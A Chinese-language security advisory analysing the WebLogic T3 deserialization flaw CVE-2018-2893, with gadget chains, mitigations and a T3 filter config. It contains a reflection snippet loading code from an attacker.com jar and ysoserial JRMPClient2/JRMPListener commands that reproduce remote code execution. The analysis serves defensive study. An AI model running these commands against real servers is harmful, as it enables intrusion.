天融信关于CVE-2018-2893 WebLogic反序列化漏洞分析
字数 1652 2025-08-18 11:37:27
WebLogic反序列化漏洞(CVE-2018-2893)深度分析与防护指南
一、漏洞背景
1.1 漏洞概述
CVE-2018-2893是Oracle WebLogic Server中的一个高危反序列化漏洞,允许攻击者在未授权情况下远程执行代码。该漏洞产生于WebLogic T3服务,当开放WebLogic控制台端口(默认7001)时,T3服务会默认开启。
1.2 受影响版本
- WebLogic 10.3.6.0
- WebLogic 12.1.3.0
- WebLogic 12.2.1.2
- WebLogic 12.2.1.3
二、技术原理分析
2.1 漏洞关联
此漏洞与之前的JRMP协议漏洞(CVE-2018-2628)密切相关,结合了RMI机制缺陷和JDK反序列化漏洞绕过了WebLogic黑名单。
2.2 反序列化利用链基础
在CVE-2015-4852中利用的是Commons Collections库,主要有两大利用链:
2.2.1 TransformedMap利用链
核心是反射机制:
// 反射调用java.net.URLClassLoader.class示例
Class clazz = Class.forName("java.net.URLClassLoader");
Method method = clazz.getMethod("newInstance", URL[].class);
Object object = method.invoke(null, new Object[]{new URL[]{new URL("http://attacker.com/evil.jar")}});
关键反射方法在InvokerTransformer中的transform方法,通过反序列化调用该方法。
调用链:
AnnotationInvocationHandler.readObject()
→ MapEntry.setValue()
→ TransformedMap.checkSetValue()
→ transform()
2.2.2 LazyMap利用链
LazyMap.get()调用transform()方法AnnotationInvocationHandler.invoke()调用get()方法- 通过动态代理方式触发
2.3 RMI绕过机制
- CVE-2017-3248和CVE-2018-2628漏洞都利用了RMI的序列化/反序列化
- CVE-2018-2628利用
java.rmi.activation.Activator接口绕过黑名单(之前只封堵了java.rmi.registry.Registry)
2.4 JDK反序列化漏洞利用
当Commons Collections补丁修复后,攻击者转向利用JDK自身的反序列化漏洞:
2.4.1 JDK7u21利用链
- 创建恶意的
TemplatesImpl对象存入LinkedHashSet LinkedHashSet→HashSet→readObject()→put()- 利用hash绕过:
proxy.hashCode() == templates.hashCode() - 关键字符串:
"f5a5a608"(用于hash绕过)
2.4.2 JDK8u20利用链
在JDK7u21基础上改进:
- 插入
BeanContextSupport对象绕过异常中断 - 利用
BeanContextSupport.readObject()中的continue语句 - 需要调整偏移量
三、漏洞复现
3.1 利用工具
使用ysoserial工具生成payload:
java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar JRMPClient2 "攻击者IP:1099" > payload_1
3.2 攻击步骤
- 攻击者通过T3协议发送payload到WebLogic
- WebLogic的RMI通过JRMP与攻击者服务器通信
- 攻击者服务器下发JDK7u21的payload
- WebLogic执行恶意代码(如弹出计算器)
监听服务器设置:
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 Jdk7u21 "calc.exe"
四、防护措施
4.1 官方补丁
Oracle已在2018年7月关键补丁更新中修复此漏洞,建议用户:
- 使用正版软件许可账户登录Oracle支持网站
- 下载并安装最新补丁
4.2 临时解决方案
通过控制T3协议访问权限临时阻断漏洞利用:
- 修改WebLogic默认连接筛选器
weblogic.security.net.ConnectionFilterImpl - 配置规则限制T3及T3S协议的访问
示例配置:
<connection-filter>
<connection-filter-rule>
<protocol>t3</protocol>
<deny>true</deny>
</connection-filter-rule>
<connection-filter-rule>
<protocol>t3s</protocol>
<deny>true</deny>
</connection-filter-rule>
</connection-filter>
五、总结
CVE-2018-2893漏洞展示了反序列化攻击的持续演变:
- 从Commons Collections到JDK自身漏洞的利用转变
- 结合RMI机制绕过黑名单限制
- 利用异常处理机制绕过防护
企业应及时应用补丁,并持续监控WebLogic等中间件的安全更新,同时实施深度防御策略,限制不必要的网络协议访问。